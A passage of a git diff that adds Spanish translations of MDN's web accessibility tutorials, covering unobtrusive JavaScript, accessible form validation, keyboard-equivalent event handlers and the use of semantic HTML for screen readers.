+ <li>Consulte <a class="external external-icon" href="https://www.itsupportguides.com/knowledge-base/computer-accessibility/how-to-use-a-custom-style-sheet-css-with-firefox/" rel="noopener">How to use a custom style sheet (CSS) with Firefox</a>, de Sarah Maddox, una útil guía que cubre cómo hacer esto manualmente en Firefox.</li>
+ <li>Probablemente sea más fácil hacerlo usando una extensión; por ejemplo, la extensión Stylish está disponible para <a href="https://addons.mozilla.org/en-US/firefox/addon/stylish/">Firefox</a>, <a href="https://safari-extensions.apple.com/details/?id=com.sobolev.stylish-5555L95H45">Safari</a>, <a href="https://addons.opera.com/en/extensions/details/stylish/">Opera</a> y <a href="https://chrome.google.com/webstore/detail/stylish/fjnbnpbmkenffdnngjfgmeleoegfcffe">Chrome</a>.</li>
+</ul>
+
+<p><span class="tlid-translation translation" lang="es">Los usuarios pueden hacerlo por diversas razones. Un usuario con discapacidad visual puede querer agrandar el texto en todos los sitios web que visita, o un usuario con una deficiencia de color severa puede querer poner todos los sitios web en colores de alto contraste que sean fáciles de ver. Cualquiera que sea la necesidad, debes sentirse cómodo con esto y hacer que tus diseños sean lo suficientemente flexibles para que dichos cambios funcionen en tu diseño. Como ejemplo, es posible que desees asegurarte de que tu área de contenido principal pueda manejar texto más grande (tal vez comience a desplazarse para permitir que se vea todo), y no solo lo ocultará o romperá por completo.</span></p>
+
+<h2 id="JavaScript">JavaScript</h2>
+
+<p>JavaScript también puede romper la accesibilidad, dependiendo de cómo se use.</p>
+
+<p>El JavaScript moderno es un lenguaje poderoso, y podemos hacer mucho con él actualmente, desde contenido simple y actualizaciones de la interfaz de usuario hasta juegos 2D y 3D completos. No existe una regla que diga que todo el contenido debe ser 100% accesible para todas las personas; solo debe hacer lo que pueda y hacer que sus aplicaciones sean lo más accesibles posible.</p>
+
+<p>Se puede decir que el contenido y la funcionalidad simples son fáciles de hacer accesibles; por ejemplo, texto, imágenes, tablas, formularios y botones que activan funciones. Como vimos en nuestro artículo <a href="https://developer.mozilla.org/es/docs/Learn/Accessibility/HTML">HTML: Una buena base para la accesibilidad</a>, las consideraciones clave son:</p>
+
+<ul>
+ <li>Buena semántica: usar el elemento correcto para el trabajo correcto. Por ejemplo, asegúrate de usar encabezados y párrafos, y elementos {{htmlelement ("button")}} y {{htmlelement ("a")}}</li>
+ <li>Asegurarse de que el contenido esté disponible como texto, ya sea directamente como contenido de texto, buenas etiquetas de texto para los elementos de formulario o alternativas de texto, p.ej. texto alternativo para imágenes.</li>
+</ul>
+
+<p>También vimos un ejemplo de cómo usar JavaScript para incorporar la funcionalidad donde faltaba; consulta <a href="/es/docs/Learn/Accessibility/HTML#Volver_a_añadir_la_accesibilidad_del_teclado">Volver a añadir la accesibilidad del teclado</a>. Esto no es ideal; en realidad, deberías usar el elemento correcto para el trabajo correcto, pero demuestra que es posible en situaciones en las que, por alguna razón, no puedes controlar el marcado que se utiliza. Otra forma de mejorar la accesibilidad de los widgets no semánticos que funcionan con JavaScript es utilizar WAI-ARIA para proporcionar semántica adicional para los usuarios de lectores de pantalla. El próximo artículo también cubrirá esto en detalle.</p>
+
+<p>Las funcionalidades complejas como los juegos en 3D no son tan fáciles de hacer accesibles: un juego en 3D complejo creado con <a href="/es/docs/Web/API/WebGL_API">WebGL</a> se renderizará en un elemento {{htmlelement ("canvas")}}, que en este momento no tiene la capacidad de proporcionar alternativas de texto u otros información que pueden utilizar los usuarios con discapacidad visual grave. Se puede argumentar que un juego de este tipo no tiene realmente a este grupo de personas como parte de su público objetivo principal, y no sería razonable esperar que lo hicieras 100% accesible para las personas ciegas; sin embargo, podrías implementar controles de teclado para que sea utilizable por usuarios que no utilizan el ratóny hacer que el esquema de color sea lo suficientemente contrastante como para que lo puedan usar aquellos con deficiencias de color.</p>
+
+<h3 id="El_problema_de_demasiado_JavaScript">El problema de demasiado JavaScript</h3>
+
+<p>El problema a menudo surge cuando la gente confía demasiado en JavaScript. A veces verás un sitio web donde todo se ha hecho con JavaScript: el HTML ha sido generado por JavaScript, el CSS ha sido generado por JavaScript, etc. Esto tiene todo tipo de problemas de accesibilidad y otros asociados, por lo que no es aconsejado.</p>
+
+<p>Además de utilizar el elemento correcto para el trabajo correcto, ¡también debes asegurarte de utilizar la tecnología adecuada para el trabajo correcto! Piensa detenidamente si necesitas ese brillante cuadro de información en 3D con JavaScript o si bastaría con texto antiguo sin formato. Piensa detenidamente si necesitas un widget de formulario no estándar complejo o si una entrada de texto sería suficiente. Y no generes todo tu contenido HTML usando JavaScript si es posible.</p>
+
+<h3 id="Hacerlo_no_intrusivo">Hacerlo no intrusivo</h3>
+
+<p>Deberías hacer tu <strong>JavaScript no intrusivo</strong> al crear tu contenido. La idea de JavaScript no intrusivo es que debe usarse siempre que sea posible para mejorar la funcionalidad, no para construirlo todo; las funciones básicas deberían funcionar idealmente sin JavaScript, aunque sabemos que esto no siempre es una opción. Pero, de nuevo, una gran parte es usar las funcionalidades integradas del navegador siempre que sea posible.</p>
+
+<p>Entre los buenos ejemplos de usos de JavaScript no intrusivo se incluyen:</p>
+
+<ul>
+ <li>Proporcionar validación de formularios del lado del cliente, que alerta a los usuarios sobre problemas con las entradas de sus formularios rápidamente, sin tener que esperar a que el servidor verifique los datos. Si no está disponible, el formulario seguirá funcionando, pero la validación puede ser más lenta.</li>
+ <li>Proporcionar controles personalizados para <code>&lt;video&gt;</code> HTML5 a los que pueden acceder los usuarios que solo utilizan el teclado, junto con un enlace directo al video que se puede usar para acceder a él si JavaScript no está disponible (los controles del navegador predeterminados para <code>&lt;video&gt;</code> no son acccesibles por teclado en la mayoría de los navegadores).</li>
+</ul>
+
+<p><span class="tlid-translation translation" lang="es">Como ejemplo, hemos escrito un ejemplo rápido y sucio de validación de formulario del lado del cliente: consulta <a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/form-validation.html">form-validation.html</a> (y también la <a href="http://mdn.github.io/learning-area/accessibility/css/form-validation.html">demostración en vivo</a>). Aquí verás un formulario simple; al intentar enviar el formulario con uno o ambos campos vacíos, el envío falla y aparece un cuadro de mensaje de error para indicar cuál es el problema.<br>
+ <br>
+ Este tipo de validación de formulario es no intrusiva: se puede usar el formulario perfectamente aunque JavaScript no esté disponible, y cualquier implementación de formulario razonable también tendrá activa la validación del lado del servidor, porque es demasiado fácil para los usuarios malintencionados eludir la validación del lado del cliente (por ejemplo, desactivando JavaScript en el navegador). La validación del lado del cliente sigue siendo realmente útil para informar de errores: los usuarios pueden saber los errores que cometen al instante, en lugar de tener que esperar un viaje de ida y vuelta al servidor y la recarga de la página. Esta es una clara ventaja de usabilidad.</span></p>
+
+<div class="note">
+<p><strong>Nota</strong>: la validación del lado del servidor no se ha implementado en esta simple demostración.</p>
+</div>
+
+<p>También hemos hecho que esta validación de formulario sea bastante accesible. Hemos utilizado elementos {{htmlelement ("label")}} para asegurarnos de que las etiquetas del formulario estén vinculadas de forma inequívoca a sus entradas, de modo que los lectores de pantalla puedan leerlas junto con ellas:</p>
+
+<pre class="brush: html notranslate">&lt;label for="name"&gt;Entra tu nombre:&lt;/label&gt;
+&lt;input type="text" name="name" id="name"&gt;</pre>
+
+<p>Solo realizamos la validación cuando se envía el formulario; esto es para no actualizar la IU con demasiada frecuencia y confundir potencialmente a los lectores de pantalla (y posiblemente a otros) usuarios:</p>
+
+<pre class="brush: js notranslate">form.onsubmit = validate;
+
+function validate(e) {
+  errorList.innerHTML = '';
+  for(let i = 0; i &lt; formItems.length; i++) {
+    const testItem = formItems[i];
+    if(testItem.input.value === '') {
+      errorField.style.left = '360px';
+      createLink(testItem);
+    }
+  }
+
+  if(errorList.innerHTML !== '') {
+    e.preventDefault();
+  }
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: En este ejemplo estamos ocultando y mostrando el cuadro de mensaje de error utilizando posicionamiento absoluto en lugar de otro método como la visibilidad o la visualización, porque no interfiere con que el lector de pantalla pueda leer su contenido.</p>
+</div>
+
+<p>La validación real del formulario sería mucho más compleja que esto: querría verificar que el nombre entrado realmente parezca un nombre, la edad entrada sea realmente un número y sea realista (por ejemplo, no negativa y menor de 4 dígitos). Aquí acabamos de implementar una verificación simple de que se haya completado un valor en cada campo de entrada (<code>if(testItem.input.value === '')</code>).</p>
+
+<p>Cuando se ha realizado la validación, si las pruebas pasan, se envía el formulario. Si hay errores (<code>if (errorList.innerHTML! == '')</code>), detenemos el envío del formulario (usando <code>preventDefault()</code>) y mostramos los mensajes de error que se hayan creado (ver más abajo). Este mecanismo significa que los errores solo se mostrarán si hay errores, lo que es mejor para la usabilidad.</p>
+
+<p>Para cada entrada sin un valor completado cuando se envía el formulario, creamos un elemento de lista con un enlace y lo insertamos en <code>errorList</code>.</p>
+
+<pre class="brush: js notranslate">function createLink(testItem) {
+  const listItem = document.createElement('li');
+  const anchor = document.createElement('a');
+
+  anchor.textContent = 'El campo ' + testItem.input.name + ' está vacío. Entra tu ' + testItem.input.name + '.';
+  anchor.href = '#' + testItem.input.name;
+  anchor.onclick = function() {
+    testItem.input.focus();
+  };
+  listItem.appendChild(anchor);
+  errorList.appendChild(listItem);
+}</pre>
+
+<p>Cada enlace tiene un doble propósito: te dice cuál es el error, y además puedes hacer clic en él / activarlo para ir directamente al elemento de entrada en cuestión y corregir la entrada.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: La parte <code>focus()</code> de este ejemplo es un poco complicada. Chrome y Edge darán foco al elemento al hacer clic en el enlace, sin necesidad del bloque <code>onclick</code> / <code>focus()</code>. Safari solo resaltará el elemento de formulario con el enlace por sí solo, por lo que necesita el bloque <code>onclick</code> / <code>focus()</code> para darle foco. Firefox no da foco a las entradas correctamente en este contexto, por lo que los usuarios de Firefox no pueden aprovechar esto en este momento (aunque todo lo demás funciona bien). El problema de Firefox debería solucionarse pronto; se está trabajando para que el comportamiento de Firefox sea igual al de otros navegadores (consulte {{bug (277178)}}).</p>
+</div>
+
+<p>Además, el <code>errorField</code> se coloca en la parte superior del orden de código (aunque se coloca de manera diferente en la interfaz de usuario usando CSS), lo que significa que los usuarios pueden averiguar exactamente qué está mal con los envíos de sus formularios y acceder a los elementos de entrada en cuestión retrocediendo hasta el inicio de la página.</p>
+
+<p>Como nota final, hemos utilizado algunos atributos WAI-ARIA en nuestra demostración para ayudar a resolver los problemas de accesibilidad causados ​​por áreas de contenido que se actualizan constantemente sin recargar la página (los lectores de pantalla no captan esto ni alertan a los usuarios de forma predeterminada):</p>
+
+<pre class="notranslate">&lt;div class="errors" role="alert" aria-relevant="all"&gt;
+  &lt;ul&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;</pre>
+
+<p>Explicaremos estos atributos en nuestro próximo artículo, que cubre <a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA</a> con mucho más detalle.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Algunos de vosotros probablemente estaréis pensando en el hecho de que los formularios HTML5 tienen mecanismos de validación integrados como los atributos <code>required</code>, <code>min</code> / <code>minlength</code> y <code>max</code> / <code>maxlength</code> (consultad la referencia del elemento {{htmlelement("input")}} para más información). No los hemos usado en la demostración porque la compatibilidad entre navegadores es irregular (por ejemplo, solo funciona en IE10 y versiones superiores).</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: <a href="http://webaim.org/techniques/formvalidation/">Usable and Accessible Form Validation and Error Recovery</a>, de WebAIM, proporciona más información útil sobre la validación de formularios accesibles.</p>
+</div>
+
+<h3 id="Otros_potenciales_problemas_de_accesibilidad_de_JavaScript">Otros potenciales problemas de accesibilidad de JavaScript</h3>
+
+<p>Hay otras cosas que debes tener en cuenta al implementar JavaScript y pensar en la accesibilidad. Agregaremos más a medida que los encontremos.</p>
+
+<h4 id="Eventos_específicos_del_ratón">Eventos específicos del ratón</h4>
+
+<p>Como sabrás, la mayoría de las interacciones de los usuarios se implementan en JavaScript del lado del cliente mediante controladores de eventos, que nos permiten ejecutar funciones en respuesta a ciertos eventos que suceden. Algunos eventos pueden tener problemas de accesibilidad. El ejemplo principal con el que se encontrará son los eventos específicos del ratón, como <code>mouseover</code>, <code>mouseout</code>, <code>dblclick</code>, etc. La funcionalidad que se ejecuta en respuesta a estos eventos no será accesible mediante otros mecanismos, como los controles del teclado.</p>
+
+<p>Para mitigar estos problemas, debes duplicar estos eventos con eventos similares que se pueden activar por otros medios (los llamados controladores de eventos independientes de dispositivo); <code>focus</code> y <code>blur</code> proporcionarían accesibilidad para los usuarios del teclado.</p>
+
+<p>Veamos un ejemplo que destaca cuándo esto podría ser útil. Tal vez queramos proporcionar una imagen en miniatura que muestre una versión más grande de la imagen cuando al colocar el ratón sobre ella o darle foco (como pasaría en un catálogo de productos de comercio electrónico).</p>
+
+<p>Hemos creado un ejemplo muy simple, que puedes encontrar en <a href="http://mdn.github.io/learning-area/accessibility/css/mouse-and-keyboard-events.html">mouse-and-keyboard-events.html</a> (consulta también el <a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/mouse-and-keyboard-events.html">código fuente</a>). El código presenta dos funciones que muestran y ocultan la imagen ampliada; estas se ejecutan mediante las siguientes líneas que las configuran como controladores de eventos:</p>
+
+<pre class="brush: js notranslate">imgThumb.onmouseover = showImg;
+imgThumb.onmouseout = hideImg;
+
+imgThumb.onfocus = showImg;
+imgThumb.onblur = hideImg;</pre>
+
+<p>Las dos primeras líneas ejecutan las funciones cuando el puntero del ratón se desplaza sobre la miniatura y deja de hacerlo, respectivamente. Sin embargo, esto no nos permite acceder a la vista ampliada con el teclado; para hacerlo hemos incluido las dos últimas líneas, que ejecutan las funciones cuando la imagen toma y pierde el foco. Esto se puede hacer presionando el tabulador hasta llegar a la imagen, porque le hemos dado <code>tabindex="0"</code>.</p>
+
+<p>El evento de <code>click</code> es interesante: parce dependiente del ratón, pero la mayoría de los navegadores activan los controladores de eventos <code>onclick</code> al presionar Enter / Return en un enlace o elemento de formulario que tenga foco, o cuando dicho elemento se toca en un dispositivo de pantalla táctil. Sin embargo, esto no funciona por defecto cuando permites que un evento no enfocable por defecto adquiera el foco usando tabindex; en tales casos, debe detectar específicamente cuándo se presiona esa tecla exacta (consulte <a href="/es/docs/Learn/Accessibility/HTML#Volver_a_añadir_la_accesibilidad_del_teclado">Volver a añadir la accesibilidad del teclado</a>).</p>
+
+<h2 id="¡Pon_a_prueba_tus_habilidades">¡Pon a prueba tus habilidades</h2>
+
+<p>Has llegado al final de este artículo. ¿Recuerdas la información más importante? Encontrar pruebas para verificar que has retenido esta información antes de continuar en <a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript/Test_your_skills:_CSS_and_JavaScript_accessibility">Test your skills: CSS and JavaScript accessibility</a>.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Esperamos que este artículo te haya brindado una buena cantidad de detalles y comprensión sobre los problemas de accesibilidad relacionados con el uso de CSS y JavaScript en las páginas web.</p>
+
+<p>¡Siguiente parada, WAI-ARIA!</p>
+
+<div>{{PreviousMenuNext("Learn/Accessibility/HTML","Learn/Accessibility/WAI-ARIA_basics", "Learn/Accessibility")}}</div>
+
+<div>
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">CSS and JavaScript accessibility best practices</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Multimedia">Accessible multimedia</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Mobile">Mobile accessibility</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Accessibility_troubleshooting">Accessibility troubleshooting</a></li>
+</ul>
+</div>
diff --git a/files/es/learn/accessibility/html/index.html b/files/es/learn/accessibility/html/index.html
new file mode 100644
index 0000000000..1b2fb1af25
--- /dev/null
+++ b/files/es/learn/accessibility/html/index.html
@@ -0,0 +1,588 @@
+---
+title: 'HTML: Una buena base para la accesibilidad'
+slug: Learn/Accessibility/HTML
+translation_of: Learn/Accessibility/HTML
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}</div>
+
+<p class="summary">Se puede hacer accesible una gran cantidad de contenido web solo asegurándose de que se utilizan los elementos HTML con el propósito correcto todo el tiempo. Este artículo muestra en detalle como HTML puede ser usado para asegurar máxima accesibilidad.</p>
+
+<table class="learn-box standard-table" style="height: 214px; width: 741px;">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimiento básico de informática, entendimiento básico de HTML (ver <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introducción a HTML</a>), y entendimiento de <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">¿Qué es accesibilidad?</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Familiarizarse con las características de HTML que tiene beneficios de accesibilidad, y como usarla apropiadamente en tus documentos web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="HTML_y_accesibilidad">HTML y accesibilidad</h2>
+
+<p>Cuando aprendas más de HTML — leas más recursos, mires más ejemplos, etc.— vas a seguir viendo un tema en común: la importancia del uso de HTML semántico (a veces llamado POSH, o <em lang="en">Plain Old Semantic HTML</em>). Esto significa usar los elementos correctos de HTML para su propósito tanto como sea posible.</p>
+
+<p>Puedes estarte preguntando ¿por qué es esto tan importante?. Después de todo, puedes usar una combinación de CSS y JavaScript para hacer que casi cualquier elemento HTML se comporte en la forma que tú quieras. Por ejemplo, un botón que reproduzca un vídeo en tu sitio puede estar hecho así:</p>
+
+<pre class="brush: html notranslate">&lt;div&gt;Reproducir vídeo&lt;/div&gt;</pre>
+
+<p>Pero como verás más adelante, tiene sentido utilizar el elemento correcto para este trabajo:</p>
+
+<pre class="brush: html notranslate">&lt;button&gt;Reproducir vídeo&lt;/button&gt;</pre>
+
+<p>No solo la etiqueta <code>&lt;button&gt;</code> de HTML ya tiene estilos adecuados por defecto (que probablemente quieras sobrescribir), también están construidos para ser accesibles con el teclado —el usuario puede navegar entre botones usando <kbd>Tab</kbd> y activando su selección usando <kbd>Return</kbd> o <kbd>Enter</kbd>.</p>
+
+<p>No cuesta más tiempo escribir HTML semántico que (mal) marcado no semántico si lo haces consistentemente desde el comienzo de tu proyecto. Y aun mejor, el marcado semántico tiene otros beneficios más allá de la accesibilidad:</p>
+
+<ol>
+ <li><strong>Fácil desarrollo</strong> — como mencionamos, obtienes algunas funcionalidades gratis, y podría decirse que es más fácil de entender.</li>
+ <li><strong>Mejor en móviles</strong> — el HTML semántico es probablemente más liviano en tamaño de archivo que el código espagueti no semántico y más fácil de hacer responsivo.</li>
+ <li><strong>Bueno para SEO</strong> — Los motores de búsqueda dan más importancia a palabras claves dentro de cabeceras, links, etc., que palabras claves en elementos no semánticos como los <code>&lt;div&gt;</code>, etc., tus documentos serán más fáciles de encontrar por tus clientes.</li>
+</ol>
+
+<p>Continuemos y veamos el HTML accesible en más detalle.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Es buena idea tener configurado un lector de pantalla en tu computador, para que puedas hacer algunas pruebas de los siguientes ejemplos. Mira nuestra <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">Guía de lectores de pantalla </a>para más detalles.</p>
+</div>
+
+<h2 id="Buena_semántica">Buena semántica</h2>
+
+<p>Ya hemos hablado de la importancia de la buena semántica, y por qué deberíamos usar el elemento HTML adecuado para cada caso. Esto no puede ignorarse, ya que es uno de los principales lugares donde la accesibilidad se rompe si no se maneja correctamente.</p>
+
+<p>En la web, la verdad es que las personas hacen cosas muy extrañas con marcado HTML. Algunos abusos de HTML se deben a prácticas de antaño que no han sido completamente olvidadas y algunas son simplemente ignorancia. Cualquiera que sea el caso, deberías reemplazar ese mal código donde sea que lo veas.</p>
+
+<p>A veces, no estás en disposición de deshacerte del mal marcado — tus páginas pueden estar generadas por algún tipo de <em lang="en">framework</em> del lado del servidor del cual no tienes control total, o puedes tener contenido de terceros en tu página (como banners) sobre los que no tienes control.</p>
+
+<p>El objetivo no es "todo o nada", pero cada mejora que hagas va a ayudar a la causa de la accesibilidad.</p>
+
+<h3 id="Contenido_textual">Contenido textual</h3>
+
+<p>Una de las mejores ayudas de accesibilidad que un usuario lector de pantalla puede tener es una buena estructura de contenido de cabeceras, párrafos, listas, etc. Un  ejemplo de buena semántica puede lucir como el de a continuación:</p>
+
+<pre class="brush: html example-good line-numbers language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h1</span><span class="punctuation token">&gt;</span></span>Mi cabecera<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h1</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;Esta es la primera sección de mi documento</span></span>.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;Voy a agregar también otro párrafo aquí</span></span>.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;
+
+&lt;ol&gt;
+  &lt;li&gt;Aquí esta&lt;/li&gt;
+  &lt;li&gt;una lista para&lt;/li&gt;
+  &lt;li&gt;que la leas&lt;/li&gt;
+&lt;/ol&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h2</span><span class="punctuation token">&gt;</span></span>Mi subtítulo<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h2</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Esta es la primera subsección de mi documento. ¡Me encantaría que la gente pudiera leer este contenido!<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h2</span><span class="punctuation token">&gt;</span></span>Mi 2º <span class="tag token"><span class="tag token"><span class="punctuation token">subtitulo&lt;/</span>h2</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Esta es la segunda subsección de mi documento. Creo que es más interesante que la primera.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Hemos preparado una versión más larga para que pruebes con un lector de pantalla (ver <a href="http://mdn.github.io/learning-area/accessibility/html/good-semantics.html">good-semantics.html</a>). Si tratas de navegar por ella, notaras que es muy fácil:</p>
+
+<ol>
+ <li>El lector de pantalla lee cada cabecera a medida que progresas a través del contenido, notificándote qué es una cabecera, qué es un párrafo, etc.</li>
+ <li>Se detiene después de cada elemento, dejándote ir a un ritmo que sea cómodo para ti.</li>
+ <li>Puedes saltar al siguiente/anterior encabezado en muchos lectores de pantalla.</li>
+ <li>También puedes tener una lista de todos los encabezados en muchos lectores de pantalla, permitiéndote usarlos como una tabla de contenidos para encontrar contenido específico.</li>
+</ol>
+
+<p>Las personas a veces escriben encabezados, párrafos, etc. usando HTML presentacional y saltos de línea, algo como lo siguiente:</p>
+
+<pre class="brush: html example-bad line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font</span> <span class="attr-name token">size</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>7<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Mi cabecera<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>font</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+Esta es la primera sección del documento.
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+Voy a agregar otro párrafo aquí también.
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;
+1. Aquí esta
+</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;
+2. una lista para
+</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;
+3. que la leas
+</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font</span> <span class="attr-name token">size</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>5<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Mi subtitulo<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>font</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+Esta es la primera subsección de mi documento. ¡Me encantaría que la gente pudiera leer este contenido!
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font</span> <span class="attr-name token">size</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>5<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Mi 2º subtitulo<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>font</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+Esta es la segunda subsección de mi documento. Creo que es más interesante que la primera.</code></pre>
+
+<p>Si pruebas nuestra versión extendida con un lector de pantalla (ver <a href="http://mdn.github.io/learning-area/accessibility/html/bad-semantics.html">bad-semantics.html</a>), no vas a tener una buena experiencia: el lector de pantalla no tiene nada que usar como señal, por lo que no podrás tener una tabla de contenidos útil y toda la página se ve como un solo bloque gigante, así que solo se lee de una vez, todo de una vez.</p>
+
+<p>Hay otros problemas más allá de la accesibilidad: es más difícil aplicar estilo al contenido con CSS o manipularlo con JavaScript, por ejemplo, porque no hay elementos para usarlos como selectores.</p>
+
+<h4 id="Usar_lenguaje_claro">Usar lenguaje claro</h4>
+
+<p>El lenguaje que usas también puede afectar la accesibilidad. En general deberías usar lenguaje claro que no sea demasiado complejo y no usar innecesariamente jerga o palabras extrañas. Esto no solo beneficia a las personas con discapacidades cognitivas u otras: beneficia a los lectores para quienes el texto no está escrito en su lengua materna, personas más jóvenes... ¡todo el mundo, de hecho! Aparte de esto, deberías evitar usar lenguaje y caracteres que no se puede leen claramente por un lector de pantalla. Por ejemplo:</p>
+
+<ul>
+ <li>No uses guiones si puedes evitarlos.en lugar de escribir 5–7, escribe "5 a 7".</li>
+ <li>Expande las abreviaciones — en lugar de escribir Ene, escribe Enero.</li>
+ <li>Expande los acrónimos, por lo menos una o dos veces. En lugar de escribir HTML en la primera instancia, escribe Hypertext Markup Language.</li>
+</ul>
+
+<h3 id="Disposiciones_de_página">Disposiciones de página</h3>
+
+<p>Antiguamente la gente solía crear diseños de página usando tablas HTML, usando diferentes celdas de tabla para contener el encabezado, pie de página, barra lateral, columna de contenido principal, etc. Esto no es una buena idea porque un lector de pantalla probablemente dará como resultado lecturas confusas, especialmente si el diseño es complejo y tiene muchas tablas anidadas.</p>
+
+<p>Prueba nuestro ejemplo <a href="http://mdn.github.io/learning-area/accessibility/html/table-layout.html">table-layout.html</a>, que tiene este código:</p>
+
+<pre class="brush: html notranslate">&lt;table width="1200"&gt;
+      &lt;!-- main heading row --&gt;
+      &lt;tr id="heading"&gt;
+        &lt;td colspan="6"&gt;
+
+          &lt;h1 align="center"&gt;Header&lt;/h1&gt;
+
+        &lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;!-- nav menu row  --&gt;
+      &lt;tr id="nav" bgcolor="#ffffff"&gt;
+        &lt;td width="200"&gt;
+          &lt;a href="#" align="center"&gt;Home&lt;/a&gt;
+        &lt;/td&gt;
+        &lt;td width="200"&gt;
+          &lt;a href="#" align="center"&gt;Our team&lt;/a&gt;
+        &lt;/td&gt;
+        &lt;td width="200"&gt;
+          &lt;a href="#" align="center"&gt;Projects&lt;/a&gt;
+        &lt;/td&gt;
+        &lt;td width="200"&gt;
+          &lt;a href="#" align="center"&gt;Contact&lt;/a&gt;
+        &lt;/td&gt;
+        &lt;td width="300"&gt;
